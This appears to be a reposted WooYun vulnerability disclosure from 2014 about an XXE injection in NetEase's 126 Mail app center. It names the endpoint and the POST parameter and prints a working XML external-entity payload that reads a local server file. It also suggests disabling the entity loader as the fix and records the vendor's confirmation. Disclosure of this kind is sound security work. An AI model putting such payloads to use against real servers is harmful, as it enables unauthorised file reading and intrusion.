126邮箱应用中心XXE注入漏洞

2015年5月2日17:31:38评论275 views字数 200阅读0分40秒阅读模式

摘要

2014-07-20：细节已通知厂商并且等待厂商处理中
2014-07-22：厂商已经确认，细节仅向厂商公开
2014-08-01：细节向核心白帽子及相关领域专家公开
2014-08-11：细节向普通白帽子公开
2014-08-21：细节向实习白帽子公开
2014-09-03：细节向公众公开

漏洞概要关注数(25) 关注此漏洞

缺陷编号： WooYun-2014-69085

漏洞标题： 126邮箱应用中心XXE注入漏洞

漏洞作者：路人甲

提交时间： 2014-07-20 10:29

公开时间： 2014-09-03 10:30

漏洞类型：设计缺陷/逻辑错误

危害等级：低

自评Rank： 2

漏洞状态：厂商已经确认

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签：设计缺陷

7人收藏

漏洞详情

披露状态：

简要描述：

126邮箱应用中心有XXE注入漏洞

详细说明：

http://uswebmail.mail.126.com/appcenter/ftentry.do?sid=XXXXXXXXXXX&func=mapp:sequential典型的XXE注入，POST参数var

漏洞证明：

code 区域

<?xml version="1.0"?><!DOCTYPE object [ <!ELEMENT string ANY> <!ENTITY xx1 SYSTEM "file:///proc/self/loginuid"> ]><object><array name="items"><object><string name="func">mapp:listBanners</string><object name="var"><int name="position">0</int></object></object><object><string name="func">mapp:&xx1;</string></object></array></object>

修复方案：

使用libxml_disable_entity_loader 等函数

版权声明：转载请注明来源路人甲@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：8

确认时间：2014-07-22 13:23

厂商回复：

感谢您对网易的关注，漏洞已经修复。

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分

评价

2014-07-20 10:36 | zph ( 普通白帽子 | Rank:244 漏洞数:44 )

0

Diao……

1# 回复此人
2014-07-20 13:47 | Pnig0s ( 实习白帽子 | Rank:46 漏洞数:2 | The quiter you are,the more you're able ...)

3

根据漏洞标题已复现成功。

2# 回复此人
2014-07-21 11:00 | D＆G ( 普通白帽子 | Rank:780 漏洞数:158 | going)

0

ls。。。

3# 回复此人
2014-07-29 10:51 | zph ( 普通白帽子 | Rank:244 漏洞数:44 )

0

2L So Diao……

4# 回复此人

漏洞概要 关注数(25) 关注此漏洞

缺陷编号： WooYun-2014-69085

漏洞标题： 126邮箱应用中心XXE注入漏洞

相关厂商： 网易

漏洞作者： 路人甲

提交时间： 2014-07-20 10:29

公开时间： 2014-09-03 10:30

漏洞类型： 设计缺陷/逻辑错误

危害等级： 低